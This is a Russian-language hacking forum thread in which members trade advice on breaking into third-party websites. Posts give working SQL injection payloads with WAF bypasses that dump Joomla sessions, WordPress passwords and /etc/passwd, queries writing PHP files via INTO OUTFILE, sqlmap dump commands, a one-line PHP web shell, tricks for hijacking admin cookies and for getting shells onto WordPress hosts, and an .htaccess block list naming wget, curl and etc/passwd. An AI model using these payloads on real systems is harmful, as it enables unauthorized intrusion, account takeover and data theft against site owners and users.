urlencode, double urlencode, /*!12345jos_users*/, utf encode, from {x jos_users}, from `jos_users` и т. д.
реакция конкретно на jos_users? или users? или _?

omen666
16.02.2015, 08:55
urlencode, double urlencode, /*!12345jos_users*/, utf encode, from {x jos_users}, from `jos_users` и т. д.
реакция конкретно на jos_users? или users? или _? Конкретно на jos_ или #__
Данные в POST, не бинарные.
#__users - не работает
%23__users - не работает
%2523__users - не работает
/*!12345jos_users*/ - не работает
from `jos_users` - не работает
from `database`. `jos_users` - не работает
/*!12345#__users*/ - работает. :)

Вытащил сессию так:
0") /*!union select*/ 1,2,3,4,5,concat_ws(0x3a,username,userid,client_id ,session_id),7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36, 37,38,39 from /*!12345#__session*/`

Через EditThisCookie в Chrome(http://www.editthiscookie.com/) подменил куку админа и залился.
Всем спасибо за внимание! :)

ps
faza02, напишите примеры запросов людям на будущее с utf encode и from {x jos_users}, спасибо!

omen666
16.02.2015, 10:35
Посоветуйте реверс ip в 1 клик, ну чтоб не копировать ип, вставлять, нажимать и т.д., так как на это все теряется время, а суть что оно делает итак понятна! Делитесь кто как юзает.

QaRTiN
18.02.2015, 22:12
ребят,подсобите советом)

на сервере есть шелл(.php) c привилегиями юзера apache
на том же сервере есть скрипт-аплоадер(.cgi),который выполняется с привилегиями юзера katya
при попытке залить шелл(.php или .pl) в папку доступную для записи только юзеру katya,шелл льется и запускается с правами apache
конфиг апача(httpd.conf) не доступен для чтения
что мне показалось странным,так это залитый через аплоадер php-файл:
<?php
echo get_current_user();
system(id);
?>

выдаёт:

katya
uid=48(apache) gid=48(apache)

скорее всего ситация тут стандартная и глуплю я,но можно ли там выполнить код с правами katya?

omen666
20.02.2015, 10:50
ребят,подсобите советом)

на сервере есть шелл(.php) c привилегиями юзера apache
на том же сервере есть скрипт-аплоадер(.cgi),который выполняется с привилегиями юзера katya
при попытке залить шелл(.php или .pl) в папку доступную для записи только юзеру katya,шелл льется и запускается с правами apache
конфиг апача(httpd.conf) не доступен для чтения
что мне показалось странным,так это залитый через аплоадер php-файл:
<?php
echo get_current_user();
system(id);
?>

выдаёт:


скорее всего ситация тут стандартная и глуплю я,но можно ли там выполнить код с правами katya?

Ну найдите вритабельную папку и залейтесь, в чем проблема(где-то в шпоре скрипт на пыхе есть, который ищет вритабельные диры)?
А там уже походу дела посмотрите вокруг да около когда увидите всю картину :)
ps ну или через system и т.д. что-то в духе find / -type d -perm 0777 )

Посоветуйте реверс ip в 1 клик, ну чтоб не копировать ип, вставлять, нажимать и т.д., так как на это все теряется время, а суть что оно делает итак понятна! Делитесь кто как юзает.
Cамый оптимальный варант это ставим что-то типо адона IP Address and Domain Information под свой браузер.
На целевом сайте кликаем IP, выделяем, копируем Ctrl+С.
Нажимаем на сохраненную закладку Bing(вынести на панель инструментов чтоб поудобней!), или по метке в адресной строке если FF и т.д.
В Bing IP: Shift + Insert. :)

ps
некоторая хитрость как делать реверс ип по контенту, хотя капитан очевидность подсказывает что это итак очевидно.
Все-же если можем читать конфигы соседей с похеканных хостов, например Joomla и т.д.(впринципе применимо к любой CMS) в файле configuration.php есть описание к сайту в свойствах класса, вот как раз нужное в Bing и вставлять вместе с IP ).

dr.Pilulkin
22.02.2015, 09:51
пытался залить скрипт по совету гугла, который вроде как должен был помочь, но через telnet это гиблое дело, wget'a там нет.
Если cat есть.
shell# cat > script.sh
Лейте скрипт из буфера обмена потом ctrl-C в конце.

Faaax
02.03.2015, 04:31
Ребят подскажите в чём прикол?)
имеется шелл дапустим site.com/forum/shell.php
При выходе из диры /forum/ всё нормально,но ситуация такая что на сайте даже файлов таких нет что в корне.
при обращении из браузера к любому файлу что в корне идут ошибка 404
В чём прикол?
При заливке любого файла,на сайте его тоже нет якобы.
И ещё просьба,может кто скомпилить под сие чудо
Linux site 2.6.32-431.1.2.el6.x86_64 #1 SMP Thu Dec 12 13:59:19 CST 2013 x86_64 x86_64 x86_64 GNU/Linux

Boolean
02.03.2015, 07:27
Ребят подскажите в чём прикол?)
имеется шелл дапустим site.com/forum/shell.php
При выходе из диры /forum/ всё нормально,но ситуация такая что на сайте даже файлов таких нет что в корне.
при обращении из браузера к любому файлу что в корне идут ошибка 404
В чём прикол?
При заливке любого файла,на сайте его тоже нет якобы.
И ещё просьба,может кто скомпилить под сие чудо
Linux site 2.6.32-431.1.2.el6.x86_64 #1 SMP Thu Dec 12 13:59:19 CST 2013 x86_64 x86_64 x86_64 GNU/Linux


Реврайты. Смотри конфиги веб-сервера, если прав хватит.

Beched
02.03.2015, 15:51
ребят,подсобите советом)

на сервере есть шелл(.php) c привилегиями юзера apache
на том же сервере есть скрипт-аплоадер(.cgi),который выполняется с привилегиями юзера katya
при попытке залить шелл(.php или .pl) в папку доступную для записи только юзеру katya,шелл льется и запускается с правами apache
конфиг апача(httpd.conf) не доступен для чтения
что мне показалось странным,так это залитый через аплоадер php-файл:
<?php
echo get_current_user();
system(id);
?>

выдаёт:


скорее всего ситация тут стандартная и глуплю я,но можно ли там выполнить код с правами katya?

Ты бы хоть доки открыл: http://php.net/manual/ru/function.get-current-user.php
"Возвращает имя владельца текущего PHP скрипта." -- владелец файла != владелец процесса.

omen666
03.03.2015, 14:51
Ты бы хоть доки открыл: http://php.net/manual/ru/function.get-current-user.php
"Возвращает имя владельца текущего PHP скрипта." -- владелец файла != владелец процесса. Ну спутал немного человек, ничего удивительного, бросайте сразу нужные функции, направляйте в правильное русло, а ТС пусть юзает posix_getuid().

a.n.lekomtsev
06.03.2015, 12:13
Всем добра. Подскажите, пожалуйста, как можно использовать уязвимость wordpress для sql инъекции через параметр get_bookmarks()
Вот тут что-то написано - https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1

Вот тут уязвимости вордпресса - https://wpvulndb.com/

Shadowfolder
06.03.2015, 19:11
В sqli стоит юзер, у которого лишь привилегии USAGE, в information_schema все дампит, а вот в другой бд, которая основная ничего не дампит( Показывает лишь таблицы и колонки. Может можно ли как-то сдампить через sqli основную бд? Или данные в таблицу добавить?

zuzzz
17.03.2015, 07:25
Oza Возможно там используется sql функция преобразования даты, например UNIX_TIMESTAMP('2015-03-16'). По этому попробуй закрывать скобку.
Но скорее всего там используется php функция типа strtotime('2015-03-16'), которая при не правильной дате возвращает false вместо числа. И инъекции тут нет

Yufos
23.03.2015, 14:33
Подскажите какого рода уязвимости характерны для сайтов Ucoz? И вообще cookie хранятся непосредственно на самом сайте в БД или все таки пересылаются техузлу ucoz?

nomad
24.03.2015, 15:59
Натолкнулся на инъекцию
http://www.site.com/?id=8
Havij без лишних заморочек справляется с линком, выдает 5 полей, первое выводит требуемую информацию.
Теоретически, запрос
http://www.site.com/?id=-8+union+select+user(),2,3,4,5--+
или
http://www.site.com/?id=80000000000+union+select+user(),2,3,4,5--+
должен выдать мне имя текущего пользователя БД, но вывода я не вижу, более того, получаю Error 500 страницы. Если вместо --+ (или --) подставить /*, то получу 404 ошибку, и тоже нет вывода. Смотрел исходный код страницы, нет вывода инфы.
Пользователь мускуля имеет право на запись. Нужно составить запрос для записи в файл. Через Havij вся инфа выводится, /etc/passwd читается.

faza02
24.03.2015, 16:01
Натолкнулся на инъекцию
http://www.site.com/?id=8Havij без лишних заморочек справляется с линком, выдает 5 полей, первое выводит требуемую информацию.
Теоретически, запрос
http://www.site.com/?id=-8+union+select+user(),2,3,4,5--+должен выдать мне имя текущего пользователя БД, но вывода я не вижу, более того, получаю Error 500 страницы. Если вместо --+ (или --) подставить /*, то получу 404 ошибку, и тоже нет вывода. Смотрел исходный код страницы, нет вывода инфы.
Пользователь мускуля имеет право на запись. Нужно составить запрос для записи в файл. Через Havij вся инфа выводится, /etc/passwd читается.
похоже на waf. havij pro версии поддерживает обход, попробуйте разные комбинации обхода

Faaax
24.03.2015, 23:36
Ребят проблемка возникла.
Как в wp в базе найти модераторов?
А то админам вход запрещён.

Shadowfolder
25.03.2015, 04:53
На шелле перестали выполняться командные строки, даже если залить файл <? system($_GET['c']); ?> не выполняет.
посмотрел, я короче и Disabled PHP Functions: system, exec, shell_exec, passthru, popen, proc_open, parse_ini_file, show_shource, symlink, escapeshellarg,escapeshellcmd,proc_close,curl_exec
шелл мертв можно считать? есть способ выполнить что-то через коммандную строку или подключиться? бэкконект тоже перестал делать

nomad
25.03.2015, 14:18
Shadowfolder,
Perl, SSI помогут



похоже на waf. havij pro версии поддерживает обход, попробуйте разные комбинации обхода

Не похоже на waf, даже обычный хавидж справляется, т.е. 1,15 free, который "ломится" напрямую. А вот ручками какой-то косяк.

PS Версия 1,17, которая имеет функцию записи в файл при наличии привилегий, не пишет, хотя читает.

faza02
25.03.2015, 16:26
Shadowfolder,
Perl, SSI помогут





Не похоже на waf, даже обычный хавидж справляется, т.е. 1,15 free, который "ломится" напрямую. А вот ручками какой-то косяк.

PS Версия 1,17, которая имеет функцию записи в файл при наличии привилегий, не пишет, хотя читает.
тогда отснифайте запрос, который он отправляет

nomad
25.03.2015, 18:36
тогда отснифайте запрос, который он отправляет

id=999999.9 union all select concat(0x7e,0x27,version(),0x27,0x7e),null,null,nu ll,null--

Теперь в браузере есть вывод, спасибо за идею.

Каким образом в таком запросе реализовать запись в файл?

faza02
26.03.2015, 13:22
id=999999.9 union all select concat(0x7e,0x27,version(),0x27,0x7e),null,null,nu ll,null--

Теперь в браузере есть вывод, спасибо за идею.

Каким образом в таком запросе реализовать запись в файл?
это точно mysql? вообще, все как обычно. select '<?phpinfo();?>',null,null,null,null into outfile '/tmp/bla.txt'--
уверены, что есть все условия для заливки?

nomad
26.03.2015, 13:30
это точно mysql? вообще, все как обычно. select '<?phpinfo();?>',null,null,null,null into outfile '/tmp/bla.txt'--
уверены, что есть все условия для заливки?

mysql 5.5.4-m3
file_priv=Y
Любая попытка сформировать запрос для записи выдает 404 ошибку

BigBear
26.03.2015, 13:50
MQ off ?

nomad
26.03.2015, 14:45
MQ off ?

Точно не знаю, но, скорее все, кавычки включены.
999999.9%20union%20all%20select%20(load_file(0x2f6 574632f706173737764)),null,null,null,null--
выводит /etc/passwd
а 999999.9%20union%20all%20select%20(load_file(%27/etc/passwd%27)),null,null,null,null--
уже не выводит, выдает 404 ошибку.

faza02
26.03.2015, 15:37
это и ответ на ваш вопрос. при некорректном запросе - 404, при корректном - /etc/passwd

BigBear
26.03.2015, 16:44
заливка через into outfile / into dumpfile работает либо при выключенных MQ, либо при двойном запросе как в методе Scipio

Faaax
01.04.2015, 09:51
Нужен совет
стоит wordpress
при попытке зайти под админом или другими с ролями админа
пишет админам вход запрещёт,шелл имеется
Собственно нужен вход именно в админку
Вопрос как?модеров не нашёл в базе.

zuzzz
02.04.2015, 13:30
Имеется такой код для загрузки jpg картинок на сервер. Получится ли тут прогрузить файл с другим расширением?
$file_id = mysql_real_escape_string( $_REQUEST['file_id'] );
$time = mysql_real_escape_string( $_REQUEST['time'] );
$img = $_FILES['image'];
if (!copy($img['tmp_name'], 'uploads/'.$file_id.'_'.$time.'.jpg')) exit();

nomad
02.04.2015, 13:52
Нужен совет
стоит wordpress
при попытке зайти под админом или другими с ролями админа
пишет админам вход запрещёт,шелл имеется
Собственно нужен вход именно в админку
Вопрос как?модеров не нашёл в базе.

1) поискать в скриптах/хтакссесс причину запрета входа администратору (возможно, фильтр по IP, если не соблюдается условие - конец скрипта);
2) при наличии прав - забэкапить текущую папку wp-admin, залить свою нормальную для аналогичной версии, зайти под админом, добавить редактора, вернуть старую папку wp-admin и зайти под редактором.

SynQ
02.04.2015, 13:54
zuzzz
Ты ведь на сайте 4 года. Единственный путь для обрезки - нуль-байт, а mysql_real_escape_string его экранирует.

zuzzz
02.04.2015, 14:58
zuzzz
Ты ведь на сайте 4 года. Единственный путь для обрезки - нуль-байт, а mysql_real_escape_string его экранирует.

Я знаю, что экранирует. Но может другие способы есть?
Пробовал превысить максимальную длину пути, но при превышении, файл не копируется.

Faaax
02.04.2015, 17:12
1) поискать в скриптах/хтакссесс причину запрета входа администратору (возможно, фильтр по IP, если не соблюдается условие - конец скрипта);
2) при наличии прав - забэкапить текущую папку wp-admin, залить свою нормальную для аналогичной версии, зайти под админом, добавить редактора, вернуть старую папку wp-admin и зайти под редактором.


Это то всё конечно хорошо,но так не нужно.
Нашёл выход,админ заходит по спец ссылке типа site.com/xzczxcffdtg/

Спасибо хоть что отписался))

Oza
16.04.2015, 00:46
..........

BigBear
16.04.2015, 08:28
Имеется форма загрузку документов и изображений.
Контент и имя файлов не меняется. Изображения просматриваются на сервере(не выкачиваются).
Наверняка файлы хранятся на сервере, а не в БД.


http://site.org/document/nick/images.jpg


Через burp suite меняю расширение файла на .php, mime type на исполняемый файл.
Файл заливается на удаленный сервер, но не выполняется, а скачивается.
Залил пустой .htaccess, аналогичная ситуация.

Можно ли задать какой-то код в htaccess, изолирующий текущую директорию, от правил указанных в хтачах ниже этой директории, в итоге сделать php исполняемым..
Спасибо!

Сделай .asdasd исполняемым. Будет проще соориентироваться.

zuzzz
17.04.2015, 08:19
Oza, скорее всего в настройках apache выставлен параметр AllowOverride none. При котором apache игнорирует файлы .htaccess
А еще может быть там не apache, а nginx?
Если можешь менять расширение файла, то может и директорию сможешь изменить.

euro
17.04.2015, 14:59
подскажите каким образом можно отредактировать большей файл, если он весит больше 10gb

euro
17.04.2015, 15:33
euro, вопрос не по теме
ок,так по теме ?
как почистить лог от апача если он весит больше 10gb ).KeyWordKeeper не подойдет для этого

Tim
17.04.2015, 18:19
подскажите каким образом можно отредактировать большей файл, если он весит больше 10gb

Разбей файл на мелкие куски, отредактируй нужный и собери обратно в большой файл

Разбиваем file на куски по 10050 строк в каждом файле:
split -l 10050 file file_

Редактируем.

Собираем обратно все файлы в один file
cat file_* > file

Faaax
18.04.2015, 20:35
Ребят подскажите,реально ли в этом куске кода выйти за прeделы диры через аплоад файла?
if(isset($_FILES['dump_db']['name']) and $_FILES['dump_db']['name']){

$dir = dirname( __FILE__ ).'/wp-content/uploads/';
@mkdir($dir, 0777);
if(is_dir($dir)){

$uploadfile = $dir.basename($_FILES['dump_db']['name']);
if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))



И тут



$uploadfile = 'wp-content/uploads/'.basename($_FILES['dump_db']['name']);
if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))
{
$msg .= '<p style="color:red;">&mdash; Не удалось загрузить файл базы данных.</p>';
}
else
{
$file_sql = file($uploadfile); //var_dump($file_sql);
require_once 'wp-config.php';
global $wpdb;
foreach ($file_sql as $n => $l) if (substr($l,0,2)=='--') unset($file_sql[$n]);
$file_sql = explode(";\n",implode("\n",$file_sql));
unset($file_sql[count($file_sql)-1]);
foreach ($file_sql as $q) {if ($q) {$wpdb->query($q);}}

Boolean
19.04.2015, 08:13
Ребят подскажите,реально ли в этом куске кода выйти за прeделы диры через аплоад файла?
if(isset($_FILES['dump_db']['name']) and $_FILES['dump_db']['name']){

$dir = dirname( __FILE__ ).'/wp-content/uploads/';
@mkdir($dir, 0777);
if(is_dir($dir)){

$uploadfile = $dir.basename($_FILES['dump_db']['name']);
if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))



И тут



$uploadfile = 'wp-content/uploads/'.basename($_FILES['dump_db']['name']);
if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))
{
$msg .= '<p style="color:red;">&mdash; Не удалось загрузить файл базы данных.</p>';
}
else
{
$file_sql = file($uploadfile); //var_dump($file_sql);
require_once 'wp-config.php';
global $wpdb;
foreach ($file_sql as $n => $l) if (substr($l,0,2)=='--') unset($file_sql[$n]);
$file_sql = explode(";\n",implode("\n",$file_sql));
unset($file_sql[count($file_sql)-1]);
foreach ($file_sql as $q) {if ($q) {$wpdb->query($q);}}


Нет, basename() тут за всех решает.

X-Ware
01.05.2015, 13:48
Подскажите пожалуйста кто в теме как в sqlmap через sql-shell сдампить опредленную таблицу например "members" определенного БД? имеется ввиду какие команды можно использовать для этого, примеры если можно, версия MySQL 5.0.11

так же интересует тоже самое ток по колонкам, как сдампить несколько колонок из таблицы, важно: "дамп нужен на выходе или в sql или в csv формате".

Сдампил такой командой: "SELECT * FROM members" в логах все есть почти но кроме самих названий колонок+ формат не тот, точнее сложно разобратся в данных без колонок...

Tim
01.05.2015, 14:04
Подскажите пожалуйста кто в теме как в sqlmap через sql-shell сдампить опредленную таблицу например "members" определенного БД? имеется ввиду какие команды можно использовать для этого, примеры если можно, версия MySQL 5.0.11

так же интересует тоже самое ток по колонкам, как сдампить несколько колонок из таблицы, важно: "дамп нужен на выходе или в sql или в csv формате".

Сдампил такой командой: "SELECT * FROM members" в логах все есть почти но кроме самих названий колонок+ формат не тот, точнее сложно разобратся в данных без колонок...

https://github.com/sqlmapproject/sqlmap/wiki/Usage

Смотри в сторону --dump, --sql-shell тебе не нужен
--dump -D database -T members -C column

X-Ware
01.05.2015, 14:15
https://github.com/sqlmapproject/sqlmap/wiki/Usage

Смотри в сторону --dump, --sql-shell тебе не нужен

--dump -D database -T members -C column

Смотри в сторону --dump, --sql-shell тебе не нужен


)) спасибо но это я и сам знаю, надо именно через sql-shell, стандартные консольные команды mysql, но с mysqldump чет не чего не выходит, надо другое решение если есть конечно...

Дело в том что стандартными методами скульмап не таблицы не даные не вытаскиваются, все без проблем вытаскивается только через sql-shell, но формат дампа не тот....

Tim
03.05.2015, 23:54
Дело в том что стандартными методами скульмап не таблицы не даные не вытаскиваются, все без проблем вытаскивается только через sql-shell, но формат дампа не тот....

select concat_ws(0x3a,username,password,email) from database.table_user limit 0,1000

zuzzz
08.05.2015, 08:53
Oza значит у куков выставлен параметр httpOnly или secure, который не позволяет скриптам получать эти куки.

nomad
18.05.2015, 21:39
Запрос к скрипту для вывода password
112' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,users.password,0x27,0x7e) from `u557`.users where users.id=1 Order by id limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1
отдает Subquery returns more than 1 row
Полный запрос выглядит к БД выглядит так:
[query] => select count(*) from `ads` USE INDEX (city_id) where (`rubric_id`='112' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,users.password,0x27,0x7e) from `u557`.users where users.id=1 Order by id limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1' ) and `city_id`=1 and `deleted`='0' and `archived`='0'

Помогите отладить запрос, чтобы выводился password

faza02
20.05.2015, 15:39
Запрос к скрипту для вывода password
112' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,users.password,0x27,0x7e) from `u557`.users where users.id=1 Order by id limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1отдает Subquery returns more than 1 row
Полный запрос выглядит к БД выглядит так:
[query] => select count(*) from `ads` USE INDEX (city_id) where (`rubric_id`='112' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,users.password,0x27,0x7e) from `u557`.users where users.id=1 Order by id limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1' ) and `city_id`=1 and `deleted`='0' and `archived`='0'Помогите отладить запрос, чтобы выводился password
заверни password в group_concat() или mid(password,1,100)

nomad
21.05.2015, 16:32
заверни password в group_concat() или mid(password,1,100)
Не работает.
Почему вообще при замене во всем запросе только одного слова 'login' на слово 'password' меняется ошибка с 1242 на 1064? Половина полей типа id, email спокойно выводится, пароль, соль - нет. Как так?

Faaax
28.05.2015, 21:59
Подсобите советом
Есть wp 3.9.1
При установке плагина или темы не удаётся залить файл,не хватает прав и так же на редактирование.
Может кто ещё подсказать как залить шелл?

Tim
29.05.2015, 16:20
Подсобите советом
Есть wp 3.9.1
При установке плагина или темы не удаётся залить файл,не хватает прав и так же на редактирование.
Может кто ещё подсказать как залить шелл?

Редактирование файлов тем, плагинов. Возможно на какие-то из файлов будут права.

Лаврушкин
29.05.2015, 16:20
Подсобите советом
Есть wp 3.9.1
При установке плагина или темы не удаётся залить файл,не хватает прав и так же на редактирование.
Может кто ещё подсказать как залить шелл?
Попробуй в плагин-инсталл в лоб скормить ему php файл. далее ищи свой файл в папке wp-content/uploads/год/месяц/файл, либо в папке wp-content/uploads/файл
Выдаст что
The package could not be installed.
Но файл в аплоад папке оставить должен.

Faaax
29.05.2015, 16:36
Это с первого раза всё пробовал.
Все файлы попробовал на редактирование+ так же пробовал инсталлить и тему и плагин,и в лоб пхп
не удаётся загрузить файл,даже медиафайл не льётся.
Похоже админ параноик(
Нашёл только чтение дир.
Есть ещё идеи как залиться?

QaRTiN
29.05.2015, 22:19
Это с первого раза всё пробовал.
Все файлы попробовал на редактирование+ так же пробовал инсталлить и тему и плагин,и в лоб пхп
не удаётся загрузить файл,даже медиафайл не льётся.
Похоже админ параноик(
Нашёл только чтение дир.
Есть ещё идеи как залиться?

если найдешь папку доступную для записи,замени upload_path в site.com/wp-admin/options.php и лей шелл через установку плагинов

nomad
09.06.2015, 23:31
Запрос к БД выглядит следующим образом (из текста ошибки):
select count(*) from `ads` USE INDEX (city_id) where `rubric_id`='112' and `city_id`=1 and `deleted`='0' and `archived`='0'
rubric_id не фильтруется должным образом, налицо инъекция. Не могу составить запрос таким образом, чтобы не получить Subquery returns more than 1 row
Мой запрос:
index.php?rubric=112' and(select 1 from(select count(*),concat((select (select password from users where id=1 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x )a) and '1'='1
Знатоки мускуля, помогите с запросом.

NameSpace
10.06.2015, 10:51
nomad, С этим вектором есть некоторые проблемы. Мы уже исследовали с faza02 их в прошлый раз и продолжаем их исследование. Совокупность длины и типа поля password не дают найти различия в первых 154 символах поля при работе вектора, и они находятся уже при обработке подзапроса.


password => convert(password, char(50))
Пока контрпримеров не обнаружили (см. тему (https://rdot.org/forum/showpost.php?p=35085&postcount=6)).

X-Cod
13.06.2015, 12:22
Помогите пожалуйста, составить запрос, чтобы наконец-то вывести таблицу с данными о логинах\паролях.
Сайт с MysqlInj (http://****/feed/index.php?option=com_content&view=article&id=12)
Суть в том, что сканеры показывают что это MySql Time-Based, хотя это Blind MySql. Максимум, что я добился, то это вывел 2 БД + не нужные мне данные (там, всякие таблицы типа jos_components, jos_rating etc).
А мне нужно именно логины и пароли на вход в /administrator/.
Вот таким запросом был вывод (взято из сканнера) - Запрос (http://****/feed/index.php?option=com_content&view=article&id=12+and+1=0+ Union Select UNHEX(HEX([visible])) ,2)

devv
13.06.2015, 20:52
Помогите пожалуйста, составить запрос, чтобы наконец-то вывести таблицу с данными о логинах\паролях.
Сайт с MysqlInj (http://***/feed/index.php?option=com_content&view=article&id=12)
Суть в том, что сканеры показывают что это MySql Time-Based, хотя это Blind MySql. Максимум, что я добился, то это вывел 2 БД + не нужные мне данные (там, всякие таблицы типа jos_components, jos_rating etc).
А мне нужно именно логины и пароли на вход в /administrator/.
Вот таким запросом был вывод (взято из сканнера) - Запрос (http://***/feed/index.php?option=com_content&view=article&id=12+and+1=0+ Union Select UNHEX(HEX([visible])) ,2)
Тут нету иньекта, не переживай. Париться не о чем.

NameSpace
14.06.2015, 07:31
Помогите пожалуйста, составить запрос, чтобы наконец-то вывести таблицу с данными о логинах\паролях.
Сайт с MysqlInj (http://****/feed/index.php?option=com_content&view=article&id=12)
Суть в том, что сканеры показывают что это MySql Time-Based, хотя это Blind MySql. Максимум, что я добился, то это вывел 2 БД + не нужные мне данные (там, всякие таблицы типа jos_components, jos_rating etc).
А мне нужно именно логины и пароли на вход в /administrator/.
Вот таким запросом был вывод (взято из сканнера) - Запрос (http://****/feed/index.php?option=com_content&view=article&id=12+and+1=0+ Union Select UNHEX(HEX([visible])),2)
Как вам удается эксплуатировать её, используя техники Blind SQL-inj? Каким образом результат запроса отражается на ресурсе? Обычно сканеры - самая верная вещь для её определения, и вероятно, её самостоятельно можно эксплуатировать только как Time-Based SQL-inj (может быть не прямо замеряя время, а используя заголовки Date, Last-Modified).

Тип инъекции и данные из таблиц не могут между собой взаимодействовать. Посмотрите список всех таблиц, возможно таблица с логинами и паролями переименована, или вовсе перенесена в другую базу для защиты. Советую посмотреть information_schema.processlist.

Fepsis
15.07.2015, 16:31
Всем привет!

Вопрос мой навеян этим сообщением: https://forum.antichat.ru/threads/423624/#post-3868424

Автор сообщения рекомендует топкстартеру снести ISPmanager с сервера.
отказаться от использования isp (был бы шелл был бы руут)
видимо, намекая на наличие в ISPmanager неустранимого бага, позволяющего получить права root.

У меня два сервера с isp и такие сообщения вызывают опасения. Если кто-то в курсе, дайте линк на информацию о баге. Если информация не паблик, можете просто подмигнуть в ПМ ;), я намек пойму )

Спасибо!

nomad
13.08.2015, 20:59
Сервер, Linux 2.6.31.5-127.fc12.i686.PAE, рутовые права. При внесении изменений в индексную страницу сайта через несколько секунд файл восстанавливается в своей предыдущей версии. Такое же происходит еще с несколькими файлами, но не всеми. В логах сайта/сервера не нашел ничего. Кто-то сталкивался с подобным, что может быть?

AiR0
13.08.2015, 22:37
Cron проверял?

frankk
14.08.2015, 12:51
Сервер, Linux 2.6.31.5-127.fc12.i686.PAE, рутовые права. При внесении изменений в индексную страницу сайта через несколько секунд файл восстанавливается в своей предыдущей версии. Такое же происходит еще с несколькими файлами, но не всеми. В логах сайта/сервера не нашел ничего. Кто-то сталкивался с подобным, что может быть?

может быть какой-нить паппет или чиф...ну или в том же Crone смотреть как выше и посоветовали.

nomad
16.08.2015, 09:41
В кроне ничего не нашел.
Еще вопрос: при запросе типа site.com/?id=1+union+select+username,2+from+users--+ идет блок на username/users, т.е. названия таблиц/колонок. Вариант с регистрами не пройдет, конструкции типа /*!12312 ....*/ не проходит. Альтернативный запрос для вывода данных колонок возможен?

invoid
16.08.2015, 11:56
Сервер, Linux 2.6.31.5-127.fc12.i686.PAE, рутовые права. При внесении изменений в индексную страницу сайта через несколько секунд файл восстанавливается в своей предыдущей версии. Такое же происходит еще с несколькими файлами, но не всеми. В логах сайта/сервера не нашел ничего. Кто-то сталкивался с подобным, что может быть?
Конечно, это маловероятно, но может некотоыре файлы из /var/www через git, svn и пр синхронизируются

frankk
16.08.2015, 11:59
В кроне ничего не нашел.
Еще вопрос: при запросе типа site.com/?id=1+union+select+username,2+from+users--+ идет блок на username/users, т.е. названия таблиц/колонок. Вариант с регистрами не пройдет, конструкции типа /*!12312 ....*/ не проходит. Альтернативный запрос для вывода данных колонок возможен?
по отдельности при использовании username and users тоже блок? или только когда оба слова в запросе?

Boolean
16.08.2015, 12:15
Сервер, Linux 2.6.31.5-127.fc12.i686.PAE, рутовые права. При внесении изменений в индексную страницу сайта через несколько секунд файл восстанавливается в своей предыдущей версии. Такое же происходит еще с несколькими файлами, но не всеми. В логах сайта/сервера не нашел ничего. Кто-то сталкивался с подобным, что может быть?

crontab? systemd units?

Запускай

while :; do IFS=$'\n'; for x in `ps -o uid,cmd -efax`; do if ! grep -q -F "$x" ps; then echo "$x" >> ps; fi; done; sleep 0.1; done

Заливай файл, и дождись, когда файл опять подменится, после этого останови ранее запущенный цикл.
Дальше по обстоятельствам, либо сам посмотри, либо выкладывай файл ps сюда.

nomad
16.08.2015, 13:53
crontab? systemd units?

Запускай

while :; do IFS=$'\n'; for x in `ps -o uid,cmd -efax`; do if ! grep -q -F "$x" ps; then echo "$x" >> ps; fi; done; sleep 0.1; done

Заливай файл, и дождись, когда файл опять подменится, после этого останови ранее запущенный цикл.
Дальше по обстоятельствам, либо сам посмотри, либо выкладывай файл ps сюда.

Скинул линк в ЛС.


frankk, при любом раскладе, хоть они вместе, хоть по отдельности

NameSpace
16.08.2015, 14:29
В кроне ничего не нашел.
Еще вопрос: при запросе типа site.com/?id=1+union+select+username,2+from+users--+ идет блок на username/users, т.е. названия таблиц/колонок. Вариант с регистрами не пройдет, конструкции типа /*!12312 ....*/ не проходит. Альтернативный запрос для вывода данных колонок возможен?
Для таблиц сейчас вектора нет. Для колонок:

Вариант 1: https://rdot.org/forum/showpost.php?p=18012&postcount=10
Вариант 2: https://rdot.org/forum/showthread.php?t=2869

nomad
16.08.2015, 19:14
NameSpace, спасибо, все решилось проще. Перед тем, как забанить мой ип, система выполняла sql запрос. Страничку с его результатом перехватил с помощью httpREQ

mikhailtpm
20.08.2015, 23:29
Ребята, подскажите. Есть иньекция, но мешает htaccess
################################################## ################
# PREVENT SQL INJECTIONS, TIMTHUMB HACK, AND OTHER POPULAR HACKS #
################################################## ################
# BEGIN #
#########
ServerSignature Off
Options -Indexes
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK|DEBUG) [NC]
RewriteRule ^(.*)$ - [F,L]
RewriteCond %{REQUEST_URI} (timthumb\.php|phpthumb\.php|thumb\.php|thumbs\.ph p) [NC]
RewriteRule . - [S=1]
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|wget|python|nikto|curl|scan|java|winhttp|clsh ttp|loader) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (;|<|>|'|"|\)|\(|%0A|%0D|%22|%27|%28|%3C|%3E|%00).*(libwww-perl|wget|python|nikto|curl|scan|java|winhttp|HTTr ack|clshttp|archiver|loader|email|harvest|extract| grab|miner) [NC,OR]
RewriteCond %{THE_REQUEST} \?\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} \/\*\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} etc/passwd [NC,OR]
RewriteCond %{THE_REQUEST} cgi-bin [NC,OR]
